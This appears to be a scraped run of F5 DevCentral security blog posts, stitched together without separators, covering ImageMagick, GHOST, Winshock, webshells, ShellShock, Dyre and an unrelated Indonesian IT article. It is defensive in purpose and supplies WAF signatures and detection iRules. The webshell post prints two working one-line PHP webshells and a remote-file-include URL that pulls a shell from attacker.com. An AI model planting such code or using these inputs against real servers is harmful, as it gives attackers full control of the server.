ImageTragick - The Tragick continues
Abstract We keep talking about the fact that ASM is an effective tool for protecting the 0-day attacks. Two years ago we were able to detect the shellshock exploitations attempts by detecting the carried commands that the shellshock was used to execute. More details are here: Mitigating the Unknown. ImageMagick ImageMagick, a very popular image editing library, has a new vulnerability which allows a code execution abusing an incorrectly parsed file format. We already wrote about ImageMagick in June because there were multiple CVEs about mishandling the MVG and SVG file formats, allowing abuse of ImageMagick based software to create and delete files, move them, and run commands, only by abusing incomplete input validation in ImageMagick’s file format. Sometime after the original CVEs another CVE showed up, allowing another attacker to execute an arbitrary shell command using the pipe character (“|”) at the start of the processed filename. CVE-2016-5118 CVE ID for the new vulnerability is CVE-2016-5118andjust like the earlier CVE-2016-3714, it may allow the attacker to remotely smuggle and run shell commands on the server. Luckily for us, ASM is great with mitigating the 0-day shell and code execution vectors and, therefore, nothing had to be reconfigured to keep our server safe from this attack. In this particular example, ASM has detected using 3 ASM signatures: echo sig_id 200003045, cat sig_id 200003065 /usr sig_id 200003060 Conclusion I believe that we have not seen the last CVE for the ImageMagick based software but ASM should be able to detect and block the exploitation attempts for the vulnerabilities that were already discovered and those which are yet to come. We will continue to follow the issue and update the signatures when needed.
GHOST Vulnerability (CVE-2015-0235)
On 27 of January Qualys publisheda critical vulnerability dubbed “GHOST” as it can be triggered by the GetHOST functions ( gethostbyname*() ) of the glibc library shipping with the Linux kernel. Glibc is the main library of C language functionality and is present on most linux distributions. Those functions are used to get a corresponding structure out of a supplied hostname, while it also performs a DNS lookup if the hostname is a domain name and not an IP address. The vulnerable functions are obsolete however are still in use by many popular applications such as Apache, MySQL, Nginx and Node.js. Presently this vulnerability was proven to be remotely exploited for the Exim mail service only, while arbitrary code execution on any other system using those vulnerable functions is very context-dependent. Qualys mentioned through a security email list, the applications that were investigated but found to not contain the buffer overflow. Read more on the email list archive link below: http://seclists.org/oss-sec/2015/q1/283 Currently, F5 is not aware of any vulnerable web application, although PHP applications might be potentially vulnerable due to its “gethostbyname()” equivalent. UPDATE: WordPress content management system using xml-rpc ping back functionality was found to be vulnerable to the GHOST vulnerability. WordPress automatically notifies popular Update Services that you've updated your blog by sending aXML-RPCpingeach time you create or update a post. By sending a specially crafted hostname as paramter of xml-rpc ping back method the vulnerable Wordpress will return "500" HTTP response or no response at all after resulting in memory corruption. However, no exploitability was proven yet. Using ASM to Mitigate WordPress GHOST exploit As the crafted hostname should be around 1000 characters to trigger the vulnerability, limiting request size will mitigate the threat. Add the following user defined attack signature to detect and prevent potential exploitation of this specific vulnerability for WordPress systems. For version greater than 11.2.x: uricontent:"xmlrpc.php"; objonly; nocase; content:"methodcall"; nocase; re2:"/https?://(?:.*?)?[\d\.]{500}/i"; For versions below 11.2.x: uricontent:"xmlrpc.php"; objonly; nocase; content:"methodcall"; nocase; pcre:"/https?://(?:.*?)?[\d\.]{500}/i"; This signature will catch any request to the "xmlrpc.php" URL which contains IPv4 format hostname greater than 500 characters. iRule Mitigation for Exim GHOST exploit At this time, only Exim mail servers are known to be exploitable remotely if configured to verify hosts after EHLO/HELO command in an SMTP session. If you run the Exim mail server behind a BigIP, the following iRule will detect and mitigate exploitation attempts: when CLIENT_ACCEPTED { TCP::collect } when CLIENT_DATA { if { ( [string toupper [TCP::payload]] starts_with "HELO " or [string toupper [TCP::payload]] starts_with "EHLO " ) and ( [TCP::payload length] > 1000 ) } { log local0. "Detected GHOST exploitation attempt" TCP::close } TCP::release TCP::collect } This iRule will catch any HELO/EHLO command greater than 1000 bytes. Create a new iRule and attach it to your virtual server.
Mitigating Winshock (CVE-2014-6321) Vulnerabilities Using BIG-IP iRules
Recently we’ve witnessed yet another earth shattering vulnerability in a popular and very fundamental service. Dubbed Winshock, it follows and joins the Heartbleed, Shellshock and Poodle in the pantheon of critical vulnerabilities discovered in 2014. Winshock (CVE-2014-6321) earns a 10.0 CVSS score due to being related to a common service such as TLS, and potentially allowing remote arbitrary code execution. SChannel From MSDN: Secure Channel, also known as Schannel, is a security support provider (SSP) that contains a set of security protocols that provide identity authentication and secure, private communication through encryption. Basically, SChannel is Microsoft’s implementation of TLS, and it is used in various MS-related services that support encryption and authentication – such as: Internet Information Services (IIS), Remote Desktop Protocol, Exchange and Outlook Web Access, SharePoint, Active Directory and more. Naturally, SChannel also contains implementation for the TLS handshake protocol, which is performed before every secure session is established between the client and the server. The TLS Handshake The following image demonstrates how a typical TLS handshake looks like: Image source: http://www-01.ibm.com/support/knowledgecenter/SSFKSJ_7.1.0/com.ibm.mq.doc/sy10660_.htm?lang=en The handshake is used for the client and the server to agree on the terms of the connection. The handshake is conducted using messages, for the purpose of authenticating between the server and the client, agreeing on cipher suites, and exchanging public keys using certificates. Each type of message is passed on the wire as a unique “TLS Record”. Several messages (TLS records) may be sent over one packet. Some of the known TLS records are the following: Client Hello – The client announces it would like to initiate a connection with the server. It also presents all the various cipher suites it can support. This record may also have numerous extensions used to provide even more data. Server Hello – The server acknowledges the Client Hello and presents its own information. Certificate Request – In some scenarios, the client is required to present its certificate in order to authenticate itself. This is known as two-way authentication (or a mutual authentication). The Certificate Request message is sent by the server and forces the client to present a valid certificate before the handshake is successful. Certificate – A message used to transfer the contents of a certificate, including subject name, issuer, public key and more. Certificate Verify – Contains signed value using the client’s private key. It is presented by the client along with their certificate during a 2-way handshake, and serves as a proof of the client actually holding the certificate they claim to. SChannel Vulnerabilities Two vulnerabilities were found in the way SChannel handles those TLS records. One vulnerability occurs when parsing the “server_name” extension of the Client Hello message. This extension is typically used to specify the host name which the client is trying to connect to on the target server. In some way this is similar to the HTTP “Host” header. It was found that SChannel will not properly manage memory allocation when this record contains more than one server name. This vulnerability leads to denial of service by memory exhaustion. The other vulnerability occurs when an invalid signed value is presented inside a Certificate Verify message. It was found that values larger than what the server expects will be written to the memory beyond the allocated buffer scope. This behavior may result in a potential remote code execution. Mitigationwith BIG-IP iRules SSL offloading using BIG-IP is inherently not vulnerable as it does not relay vulnerable messages to the backend server. However, in a “pass-through” scenario, where all the TLS handshake messages are being forwarded without inspection, backend servers may be vulnerable to these attacks. The following iRule will detect and mitigate attempts to exploit above SChannel vulnerabilities: when CLIENT_ACCEPTED { TCP::collect set MAX_TLS_RECORDS 16 set iPacketCounter 0 set iRecordPointer 0 set sPrimeCurve "" set iMessageLength 0 } when CLIENT_DATA { #log local0. "New TCP packet. Length [TCP::payload length]. Packet Counter $iPacketCounter" set bScanTLSRecords 0 if { $iPacketCounter == 0 } { binary scan [TCP::payload] cSS tls_xacttype tls_version tls_recordlen if { [info exists tls_xacttype] && [info exists tls_version] && [info exists tls_recordlen] } { if { ($tls_version == "769" || $tls_version == "770" || $tls_version == "771") && $tls_xacttype == 22 } { set bScanTLSRecords 1 } } } if { $iPacketCounter > 0 } { # Got here mid record, collect more fragments #log local0. "Gather. tls rec $tls_recordlen, ptr $iRecordPointer" if { [expr {$iRecordPointer + $tls_recordlen + 5}] <= [TCP::payload length] } { #log local0. "Full record received" set bScanTLSRecords 1 } else { #log local0. "Record STILL fragmented" set iPacketCounter [expr {$iPacketCounter + 1}] TCP::collect } } if { $bScanTLSRecords } { # Start scanning records set bNextRecord 1 set bKill 0 while { $bNextRecord >= 1 } { #log local0. "Reading next record. ptr $iRecordPointer" binary scan [TCP::payload] @${iRecordPointer}cSS tls_xacttype tls_version tls_recordlen #log local0. "SSL Record Type $tls_xacttype , Version: $tls_version , Record Length: $tls_recordlen" if { [expr {$iRecordPointer + $tls_recordlen + 5}] <= [TCP::payload length] } { binary scan [TCP::payload] @[expr {$iRecordPointer + 5}]c tls_action if { $tls_xacttype == 22 && $tls_action == 1 } { #log local0. "Client Hello" set iRecordOffset [expr {$iRecordPointer + 43}] binary scan [TCP::payload] @${iRecordOffset}c tls_sessidlen set iRecordOffset [expr {$iRecordOffset + 1 + $tls_sessidlen}] binary scan [TCP::payload] @${iRecordOffset}S tls_ciphlen set iRecordOffset [expr {$iRecordOffset + 2 + $tls_ciphlen}] binary scan [TCP::payload] @${iRecordOffset}c tls_complen set iRecordOffset [expr {$iRecordOffset + 1 + $tls_complen}] binary scan [TCP::payload] @${iRecordOffset}S tls_extenlen set iRecordOffset [expr {$iRecordOffset + 2}] binary scan [TCP::payload] @${iRecordOffset}a* tls_extensions for { set i 0 } { $i < $tls_extenlen } { incr i 4 } { set iExtensionOffset [expr {$i}] binary scan $tls_extensions @${iExtensionOffset}SS etype elen if { ($etype == "00") } { set iScanStart [expr {$iExtensionOffset + 9}] set iScanLength [expr {$elen - 5}] binary scan $tls_extensions @${iScanStart}A${iScanLength} tls_servername if { [regexp \x00 $tls_servername] } { log local0. "Winshock detected - NULL character in host name. Server Name: $tls_servername" set bKill 1 } else { #log local0. "Server Name found valid: $tls_servername" } set iExtensionOffset [expr {$iExtensionOffset + $elen}] } else { #log local0. "Uninteresting extension $etype" set iExtensionOffset [expr {$iExtensionOffset + $elen}] } set i $iExtensionOffset } } elseif { $tls_xacttype == 22 && $tls_action == 11 } { #log local0. "Certificate" set iScanStart [expr {$iRecordPointer + 17}] set iScanLength [expr {$tls_recordlen - 12}] binary scan [TCP::payload] @${iScanStart}A${iScanLength} client_certificate if { [regexp {\x30\x59\x30\x13\x06\x07\x2a\x86\x48\xce\x3d\x02\x01(\x06\x08\x2a\x86\x48\xce\x3d\x03\x01\x07|\x06\x05\x2b\x81\x04\x00(?:\x22|\x23))} $client_certificate reMatchAll reMatch01] } { #log local0. $match01 switch $reMatch01 { "\x06\x08\x2a\x86\x48\xce\x3d\x03\x01\x07" { set sPrimeCurve "P-256" } "\x06\x05\x2b\x81\x04\x00\x22" { set sPrimeCurve "P-384" } "\x06\x05\x2b\x81\x04\x00\x23" { set sPrimeCurve "P-521" } default { #log local0. "Invalid curve" } } } } elseif { $tls_xacttype == 22 && $tls_action == 15 } { #log local0. "Certificate Verify" set iScanStart [expr {$iRecordPointer + 11}] set iScanLength [expr {$tls_recordlen - 6}] binary scan [TCP::payload] @${iScanStart}A${iScanLength} client_signature binary scan $client_signature c cSignatureHeader if { $cSignatureHeader == 48 } { binary scan $client_signature @3c r_len set s_len_offset [expr {$r_len + 5}] binary scan $client_signature @${s_len_offset}c s_len set iMessageLength $r_len if { $iMessageLength < $s_len } { set iMessageLength $s_len } } else { #log local0. "Sig header invalid" } } else { #log local0. "Uninteresting TLS action" } # Curve and length found - check Winshock if { $sPrimeCurve ne "" && $iMessageLength > 0 } { set iMaxLength 0 switch $sPrimeCurve { "P-256" { set $iMaxLength 33 } "P-384" { set $iMaxLength 49 } "P-521" { set $iMaxLength 66 } } if { $iMessageLength > $iMaxLength } { log local0. "Winshock detected - Invalid message length (found: $iMessageLength, max:$iMaxLength)" set bKill 1 } } # Exploit found, close connection if { $bKill } { TCP::close set bNextRecord 0 } else { # Next record set iRecordPointer [expr {$iRecordPointer + $tls_recordlen + 5}] if { $iRecordPointer == [TCP::payload length]} { # End of records => Assume it is the end of the packet. #log local0. "End of records" set bNextRecord 0 set iPacketCounter 0 set iRecordPointer 0 set sPrimeCurve "" set iMessageLength 0 TCP::release TCP::collect } else { if { $bNextRecord < $MAX_TLS_RECORDS } { set bNextRecord [expr {$bNextRecord + 1}] } else { set bNextRecord 0 #log local0. "Too many loops over TLS records, exit now" TCP::release TCP::collect } } } } else { #log local0. "Record fragmented" set bNextRecord 0 set iPacketCounter [expr {$iPacketCounter + 1}] TCP::collect } } } else { # Exit here if packet is not TLS handshake if { $iPacketCounter == 0 } { TCP::release TCP::collect } } } Create a new iRule and attach it to your virtual server.Webshells
Webshells are web scripts (PHP/ASPX/etc.) that act as a control panel for the server running them. A webshell may be legitimately used by the administrator to perform actions on the server, such as: Create a user Restart a service Clean up disk space Read logs More… Therefore, a webshell simplifies server management for administrators that are not familiar with (or are less comfortable with) internal system commands using the console. However, webshells have bad connotations as well – they are a very popular post-exploitation tool that allow an attacker to gain full system control. Webshell Examples An example of a webshell may be as simple as the following script: <?php echo(system($_GET["q"])); ?> This script will read a user-provided value and pass it on to the underlying operating system as a shell command. For instance, issuing the following request will invoke the ‘ls’ command and print the result to the screen: http://example.com/webshell.php?q=ls An even simpler example for a webshell may be this: <?php eval($_GET["q"]); ?> This script will simply use the contents of the parameter “q” and evaluate it as pure PHP code. Example: http://example.com/webshell.php?q=echo%20("hello%20world")%3B From this point, the options are limitless. An attacker that uses a webshell on a compromised server effectively has full control over the application. If the web application is running under root – the attacker has full control over the entire web server as well. In many cases, the neighboring servers on the local network are at risk as well. How does a webshell attack work? We’ve now seen that a webshell script is a very powerful tool. However, a webshell is a “post-exploitation” tool – meaning an attacker first has to find a vulnerability in the web application, exploit it, and upload their webshell onto the server. One way to achieve this is by first uploading the webshell through a legitimate file upload page (for instance, a CV submission form on a company website) and then using an LFI (Local File Include) weakness in the application to include the webshell in one of the pages. A different approach may be an application vulnerable to arbitrary file write. An attacker may simply write the code to a new file on the server. Another example may be an RFI (Remote File Include) weakness in the application that effectively eliminates the need to upload the webshell on to the server. An attacker may host the webshell on a completely different server, and force the application to include it, like this: http://vulnerable.com/rfi.php?include=http://attacker.com/webshell.php The b374k webshell There are many and various implementations of webshells. As mentioned, those are not always meant to be used by attackers, but also by system administrators. Some of the “suspicious” webshells that are more popular with attackers are the following: c99 r57 c100 PHPjackal Locus In this article we will explore an open source webshell called b374k (https://github.com/b374k/b374k). From the readme: This PHP Shell is a useful tool for system or web administrator to do remote management without using cpanel, connecting using ssh, ftp etc. All actions take place within a web browser Features: File manager (view, edit, rename, delete, upload, download, archiver, etc) Search file, file content, folder (also using regex) Command execution More… Once we get the webshell up and running, we can view information and perform actions on the server. Listed below are a few use cases for this webshell that will demonstrate the power of webshells and how attackers can benefit from running them on a compromised web server: View process information and varied system information. Open a terminal and execute various commands, or open a code evaluator to run arbitrary code. Open a reverse shell on the server, to make sure access to the server is preserved. Issue outgoing HTTP requests from the server. Perform social engineering activities to broaden the scope of the attack. Mitigation using F5 ASM The F5 ASM module uses detection and prevention methods for each variation of this attack. For RFI (Remote File Include): ASM will detect any request that attempts to include an external URL, and prevent access. For Unrestricted File Upload + LFI (Local File Include): During upload or creation attempt of the webshell, ASM will detect the active code and prevent it from reaching the server. If the webshell is already on the server, ASM will detect when the application tries to reach the file using LFI and prevent access. If the webshell is already on the server and part of the application, ASM will detect when a suspicious page is requested, and prevent that page from being displayed.
Who am I and why am I blogging?
That is a very good question. I never considered blogging before, never thought anyone would be interested in what I have to say. Although just because I blog, does not mean that you will be interested in what I have to say... I have been working for F5 for 4 years now, mainly supporting our Channel and SI partners. These days I work directly with larger customers on a range of F5 specific solutions. I also look after customers in Ireland where I live. So in advance of March 17th, Happy St. Patricks Day! My focus has been mainly availability and security. As a CISSP and a member of OWASP, I have a keen interest in the latter and I guess this is the topic that excites me. When I say excites, I mean in a good way and a bad way, particularly when I see blatant flouting of basic security practice. I will have a rant here when something takes my fancy. Be forewarned I am grumpy and tend go off on one quite often. Gary Newe Technorati Tags: Application Security, ASM, Security, WAF, Web Application Firewall, f5
Making WAF Simple: Introducing the OWASP Compliance Dashboard
Whether you are a beginner or an expert, there is a truth that I want to let you in on; building and maintaining Web Application Firewall (WAF) security policies can be challenging. How much security do you really need? Is your configuration too much or too little? Have you created an operational nightmare? Many well-intentioned administrators will initially enable every available feature, thinking that it is providing additional security to the application, when in truth, it is hindering it. How, you may ask? False positives and noise. The more noise and false positives, the harder it becomes to find the real attacks and the increased likelihood that you begin disabling features that ARE providing essential security for your applications. So… less is better then? That isn't the answer either, what good are our security solutions if they aren't protecting against anything? The key to success and what we will look at further in this article, is implementing best practice controls that are both measurable and manageable for your organization. The OWASP Application Security Top 10 is a well-respected list of the ten most prevalent and dangerous application layer attacks that you almost certainly should protect your applications from. By first focusing your security controls on the items in the OWASP Top 10, you are improving the manageability of your security solution and getting the most "bang for your buck". Now, the challenge is, how do you take such a list and build real security protections for your applications? Introducing the OWASP Compliance Dashboard Protecting your applications against the OWASP Top 10 is not a new thing, in fact, many organizations have been taking this approach for quite some time. The challenge is that most implementations that claim to "protect" against the OWASP Top 10 rely solely on signature-based protections for only a small subset of the list and provide zero insight into your compliance status. The OWASP Compliance Dashboard introduced in version 15.0 on BIG-IP Advanced WAF reinvents this idea by providing a holistic and interactive dashboard that clearly measures your compliancy against the OWASP Application Security Top 10. The Top 10 is then broken down into specific security protections including both positive and negative security controls that can be enabled, disabled, or ignored directly on the dashboard. We realize that a WAF policy alone may not provide complete protection across the OWASP Top 10, this is why the dashboard also includes the ability to review and track the compliancy of best practices outside the scope of a WAF alone, such as whether the application is subject to routine patching or vulnerability scanning. To illustrate this, let’s assume I have created a brand new WAF policy using the Rapid Deployment policy template and accepted all default settings, what compliance score do you think this policy might have? Let's take a look. Interesting. The policy is 0/10 compliant and only A2 Broken Authentication and A3 Sensitive Data Exposure have partial compliance. Why is that? The Rapid Deployment template should include some protections by default, shouldn't it? Expanding A1 Injection, we see a list of protections required in order to be marked as compliant. Hovering over the list of attack signatures, we see that each category of signature is in 'Staging' mode, aha! Signatures in staging mode are not enforced and therefore cannot block traffic. Until the signature set is in enforced, we do not mark that protection as compliant. For those of you who have mistakenly left entities such as Signatures in staging for longer than desired, this is also a GREAT way to quickly find them. I also told you we could also interact with the dashboard to influence the compliancy score, lets demonstrate that. Each item can be enforced DIRECTLY on the dashboard by selecting the "Enforce" checkmark on the right. No need to go into multiple menus, you can enforce all these security settings on a single page and preview the compliance status immediately. If you are happy with your selection, click on "Review & Update" to perform a final review of what the dashboard will be configuring on your behalf before you can click on "Save & Apply Policy". Note: Enforcing signatures before a period of staging may not be a good idea depending on your environment. Staging provides a period to assess signature matches in order to eliminate false positives. Enforcing these signatures too quickly could result in the denying of legitimate traffic. Let's review the compliancy of our policy now with these changes applied. As you can see, A1 Injection is now 100% compliant and other categories have also had their score updated as a result of enforcing these signatures. The reason for this is because there is overlap in the security controls applied acrossthese other categories. Not all security controls can be fully implemented directly via the dashboard, and as mentioned previously, not all security controls are signature-based. A6 Cross-Site Scripting was recalculated as 50% complaint with the signatures we enforced previously so let's take a look at what else it required for full compliancy. The options available to us are to IGNORE the requirement, meaning we will be granted full compliancy for that item without implementing any protection, or we can manually configure the protection referenced. We may want to ignore a protection if it is not applicable to the application or if it is not in scope for your deployment. Be mindful that ignoring an item means you are potentially misrepresenting the score of your policy, be very certain that the protection you are ignoring is in fact not applicable before doing so. I've selected to ignore the requirement for "Disallowed Meta Characters in Parameters" and my policy is now 100% compliance for A7 Cross-Site Scripting (XSS). Lastly, we will look at items within the dashboard that fall outside the scope of WAF protections. Under A9 Using Components with Known Vulnerabilities, we are presented with a series of best practices such as “Application and system hardening”, “Application and system patching” and “Vulnerability scanner integration”. Using the dashboard, you can click on the checkmark to the right for "Requirement fulfilled" to indicate that your organization implements these best practices. By doing so, the OWASP Compliance score updates, providing you with real-time visibility into the compliancy for your application. Conclusion The OWASP Compliance Dashboard on BIG-IP Advanced WAF is a perfect fit for the security administrator looking to fine-tune and measure either existing or new WAF policies against the OWASP App Security Top 10. The OWASP Compliance Dashboard not only tracks WAF-specific security protections but also includes general best practices, allowing you to use the dashboard as your one-stop-shop to measure the compliancy for ALL your applications. For many applications, protection against the OWASP Top 10 may be enough, as it provides you with best practices to follow without having to worry about which features to implement and where. Note: Keep in mind that some applications may require additional controls beyond the protections included in the OWASP Top 10 list. For teams heavily embracing automation and CI/CD pipelines, logging into a GUI to perform changes likely does not sound appealing. In that case, I suggest reading more about our Declarative Advanced WAF policy framework which can be used to represent the WAF policies in any CI/CD pipeline. Combine this with the OWASP Compliance Dashboard for an at-a-glance assessment of your policy and you have the best of both worlds. If you're not already using the OWASP Compliance Dashboard, what are you waiting for? Look out for Bill Brazill, Victor Granic and myself (Kyle McKay) on June 10th at F5 Agility 2020 where we will be presenting and facilitating a class called "Protecting against the OWASP Top 10". In this class, we will be showcasing the OWASP Compliance Dashboard on BIG-IP Advanced WAF further and providing ample hands-on time fine-tuning and measuring WAF policies for OWASP Compliance. Hope to see you there! To learn more, visit the links below. Links OWASP Compliance Dashboard: https://support.f5.com/csp/article/K52596282 OWASP Application Security Top 10: https://owasp.org/www-project-top-ten/ Agility 2020: https://www.f5.com/agility/attend
Mitigating Fortnite Vulnerabilities with BIG-IP ASM
A recently published research by Checkpoint introduced a couple of undiscovered vulnerabilities in the online gaming platform of “Epic Games” – the developers of the famous "Fortnite" game. The impact demonstrated in the Checkpoint research stemmed from an SQL Injection andCross Site Scripting vulnerabilities. The payloads published can be mitigated by BIG-IP ASM with the following signatures: Figure 1: Cross Site Scripting Payload blocked by existing signatures. Figure 2: SQL-Injection payload blocked by multiple existing signatures. Additional Reading https://research.checkpoint.com/hacking-fortnite/Mitigating the Unknown
Mitigating “0-day” attacks, which are named like that because the programmer has zero days to fix the flaw, is apparently impossible. However in practice they can be significantly mitigated. We can buy some time by heavily reducing the “vulnerability window” (until the vulnerability is patched or a specific signature is deployed), thus shifting those attacks to be “N-day” attacks. Once a widely used service has a “0-day” publicly disclosed, massive internet scans for vulnerable servers (known also as “campaigns”) are launched almost immediately. Those scans rely on bots either scanning the whole IP range or searching for potential targets using search engines (known as “Google Dorks”). Being a “0-day” attack, there is no complete protection against it. However a good assumption will be that there will pass a certain time until the exploit will evolve enough to include variations and to deploy evasions or to be customized for a specific target. That’s where a good level of a proactive protection required. A typical “0-day” timeline might look like that: A proactive mitigation strategy includes the following ingredients: positive security, proactive negative security, and attack symptoms mitigation. Taking the WAF as an example, positive security might consist of whitelisting only the needed meta-characters (while blocking all other), enforcing HTTP compliance, configuring mandatory request headers, and narrowing down HTTP methods, and file types. And much more can be whitelisted. Whitelisting the entire application (building full positive security model) can be challenging sometimes. It is not less important to rely on proactive attack signatures which are not coupled with a specific CVE, but rather focusing on generic exploitation and evasion patterns and those which try to catch the actual post exploitation payload, regardless of the specific weakness which allowed delivering it in first place. Due to the automation of the “campaign” process, a crucial mitigation factor during the “vulnerability window” might be also relying on detecting automation attack symptoms, such as deploying strong bot detection techniques, blocking TOR exit nodes and having a good IP reputation feed. ShellShock Example I want to use the latest high profile “ShellShock” vulnerability (CVE-2014-6271 and friends), and see how we take this theory into practice. Let’s take some of the popular real attack vectors used in this recent attack and see how specifically BIG-IP ASM detected them using the proactive approach, before there was a designated “ShellShock” signature. The attack vectors are a mix taken from Exploit-DB, Metaslploit, shellshock.py, detectify.com portal, and requests recorded by honeypots. Result of running the vectors against ASM As we can see all of those vectors were blocked. Blocked requests in the ASM event log Let’s dig in and understand what prevented the exploitation. We can see that the exploit is sent via the “User-Agent” header. It is running “/bin/bash” to download the malware using “wget”, running it using Perl and finally removing the malware file itself. Exploit in the wild Signature triggered by an exploit in the wild Without being aware to the actual weakness “() { :;};” which triggers the code execution, the exploit is caught for several reasons. First, we see that it is targeting the “/cgi-bin/bash” location, thus triggering 2 URI signatures looking for this senstive URL (200000034 and 200100316). Second, ASM caught the actual command that performs the server takeover (the “payload”) by a signature that looks for calling executables from “/bin” directory (200003058). This is the exact example of proactive signatures which look for the actual “takeover” payload or the senstive location/resources that are being targeted, rather than only focusing on the exact weakness that opens the door for exploitation. As for postive security, customers who would fence themselves with non legitimate or very rare characters in headers such as “[“, ”]”, ”`”, ”{“, ”}” would have even prevented the 0-day attack itself ( “{“ character in the case of ShellShock ). Several other signatures (2000021069 and 200021092) for automated user-agents, “wget” and “perl”, are also triggered as the payload is delivered throught the user-agent header (which is true for most of the "ShellShock" exploits). Let’s observe another attack vector: shellshock.py exploit Signature triggered by shellshock.py We see the same “/bin” execution signature (200003058), however we also detect a symptom of a suspicious behavior and a signature for automated python client is fired (200021101). While looking on the exploit published on “Exploit-DB” and some other vectors in the wild we see that the only signature that bravely shields against their successful exploitation is the same “/bin” execution signature (200003058). Of course, if there was another command that does not have a corresponding signature (because it is not considered sensitive, most likely causes false positive or just missing) the attack vector could penetrate (like in the case of “() { :; }; ping x.x.x.x” vector). But that’s where our previously mentioned assumption takes place. There is a crucial time, during the “vulnerability window”, just before the exploit expands to several variations or being evolved to other payloads as well. It is not by accident that we can rely on that single signature to buy us some time before the patch is applied. Exploit from Exploit-DB Signature triggered by exploit from “Exploit-DB” Another proactive measure which is directly related to attack symptoms and can serve as a life belt during the “vulnerability period” is using ASM’s bot protection features which incorporates several state-of the art techniques to identify automated bots regardless of the payload they are trying to deliver. Afterword We are not stating that there is a complete protection against previously unknown attacks, however, there is definitely an already existing proactive set of tools that might significantly lower your chances for compromise in a critical exposed period until the full patch is deployed.
Dyre presents server-side web injects
Dyre is a relatively new banking Trojan, first seen in the beginning of 2014. It soon emerged as one of the most sophisticated banking and commercial malware in the wild. One of the main capabilities Dyre has presented, which differentiated it from the other well-known banking Trojans, was the “fake bank page” functionality. Once the victim tries to reach the real bank, Dyre intercepts the request and fetches its own fake page from one of its C&C servers. However, while researching the Trojans’ internals we noticed another stage in the fraud techniques evolution. “Traditional” fraud malware performs malicious JavaScript injection on the client machine while taking it from a configuration previously downloaded from the C&C server. However, Dyre maintains the injections on its C&C servers. This gives Dyre the flexibility to adjust the injected code on demand and minimize exposure of the existing web-injects. During our research we noticed two types of injections which lead to two different scenarios. In the first scenario, the web-injects (malicious JavaScript) stole just the login credentials, while in the second scenario it would also contain an embedded HTML page which targets credit card information as well. Other than just targeting financial online applications, using the “Grabber” module, Dyre enables its operators to steal virtually any user-supplied sensitive information online in large amounts. This information includes credentials for email applications, social platforms, hosting infrastructure, and corporate SSL-VPNs. While this information may be resold in the “underground”, the bigger risk is that malware operators might hijack email and social network accounts to perform surveillance, or blackmail individuals or organizations. They could also hijack hosting infrastructure to further deploy other malicious code, or break into organizations using stolen VPN credentials. Many have written about this new threat. However, few have succeeded in covering the entire fraud flow and most of its capabilities. For more details on the Trojan’s internals, read the report: https://devcentral.f5.com/s/d/dyre-malware-internals?download=trueSudah Saatnya Perusahaan Mengkaji Kembali Kebutuhan Sistem IT Agar Mampu Mengatasi Tantangan Bisnis Di Masa Depan
Please find the English language post from which this was adapted here. Pesatnya perkembangan teknologi digital di Indonesia saat ini, membuat pola konsumsi berubah-ubah; baik di level konsumen maupun enterprise. Perubahan ini berpengaruh besar terhadap bagaimana para eksekutif perusahaan mengkaji kebutuhan teknologi perusahaan mereka, karena kini untuk bisa mengakses informasi dari perangkat apapun, kapanpun, dan di manapun sudah menjadi kebutuhan yang semakin meningkat. Kebutuhan ini menimbulkan tantangan bagi perusahaan untuk mampu menyediakan lebih banyak layanan kepada karyawan dan konsumen mereka, dalam batasan infrastruktur yang sudah ada, ditambah lagi dengan budget anggaran belanja IT yang kian menyusut dari tahun-ke-tahun, namun tanpa mengorbankan keamanan dan kinerja sistem IT perusahaan. Tantangan lainnya yang juga dihadapi perusahaan adalah semakin berkurangnya anggaran IT, yang dikarenakan keputusan belanja IT tidak lagi berada di tangan pimpinan divisi IT melainkan di tangan pimpinan divisi bisnis. Hal ini lumrah dilakukan karena perusahaan mencari berbagai cara untuk meningkatkan daya saing mereka dalam menghadapi pasar bebas dan salah satu cara yang paling mudah dilakukan adalah efisiensi biaya. Agar perusahaan mampu menjaga efisensi biaya namun tetap dapat menyediakan berbagai inovasi ke pasar serta meningkatkan layanannya, maka perusahaan membutuhkan solusi yang memungkinkan mereka untuk menerapkan berbagai teknologi yang penting bagi perusahaan melalui software. Solusi ini merubah model pembelanjaan anggaran dari CapEx (biaya investasi) menjadi OpEx (biaya operasional), karena itu, di masa depan, IT akan dianggap sebagai utilitas. Keuntungan bagi perusahaan adalah mereka mendapatkan fleksibilitas untuk bisa mengembangkan layanan IT mereka, hanya dengan menambahkan software yang dibutuhkan ke dalam server tanpa perlu menanamkan investasi berupa hardware; bayangkan penghematan anggaran yang bisa dilakukan oleh perusahaan! Pada akhirnya layanan-layanan on-demand yang didapat model lisensi software akan banyak digunakan oleh perusahaan, karena mereka dapat menyediakan berbagai layanan dengan cepat tanpa harus mengeluarkan biaya investasi yang besar di awal. Dengan model lisensi, para eksekutif perusahaan akan mampu meningkatkan (atau menurunkan) skala layanan mereka kapanpun dibutuhkan dengan mudah dan biaya yang efektif. Tren lainnya, yang juga mendorong perkembangan teknologi enterprise, adalah tingkat adopsi smartphone, tablet, dan PC portabel yang bertumbuh dengan pesat, serta kemunculan teknologi-teknologi ‘baru’ sepeti teknologi sosial dan Internet of Things. Khususnya untuk smartphone, saat ini banyak smartphone murah yang harganya sekitar 500 ribu rupiah, dan harga ini akan mampu menjangkau lebih banyak konsumen di Indonesia. Memang tidak dapat dihindari lagi, perusahaan perlu mempertimbangkan berbagai cara yang lebih cerdas untuk mengakomodir dan melayani pelanggan dan karyawan mereka kapanpun dan di manapun secara online. Salah satu kebutuhan yang semakin meningkat di kalangan karyawan adalah BYOD, karena itu perusahaan harus siap mengamankan akses kedalam layanan perusahaan yang dilakukan dari berbagai macam perangkat, milik perusahaan maupun pribadi. Tren ini tentu saja tidak lepas dari ancaman keamanan, dimana serangan cyber menjadi semakin canggih dan masif, karena itu keamanan perlu menjadi prioritas bagi sebuah perusahaan. Pada akhirnya baik itu untuk keamanan, mobilitas, kinerja ataupun memastikan ketersediaan aplikasi untuk diakses, perusahaan harus mampu menyelaraskan infrastruktur IT mereka dengan permintaan atau kebutuhan pengguna (pelanggan dan karyawan) yang berubah dari waktu-ke-waktu. Perubahan yang dapat terlihat saat ini adalah kebutuhan Generasi Y dan Generasi Z, di mana lingkungan sosial menjadi hal yang penting bagi mereka. Kedua generasi ini mengaburkan batasan antara aplikasi yang digunakan untuk pribadi dengan aplikasi yang digunakan untuk operasional kantor; seperti contoh mereka menggunakan perangkat pribadi untuk mengakses email perusahaan atau menyimpan data-data perusahaan di cloud publik karena alasan kemudahan akses, dan di perangkat yang sama mereka juga melakukan banyak aktifitas pribadi seperti menjelajahi internet, chatting, hingga beraktifitas di sosial media. 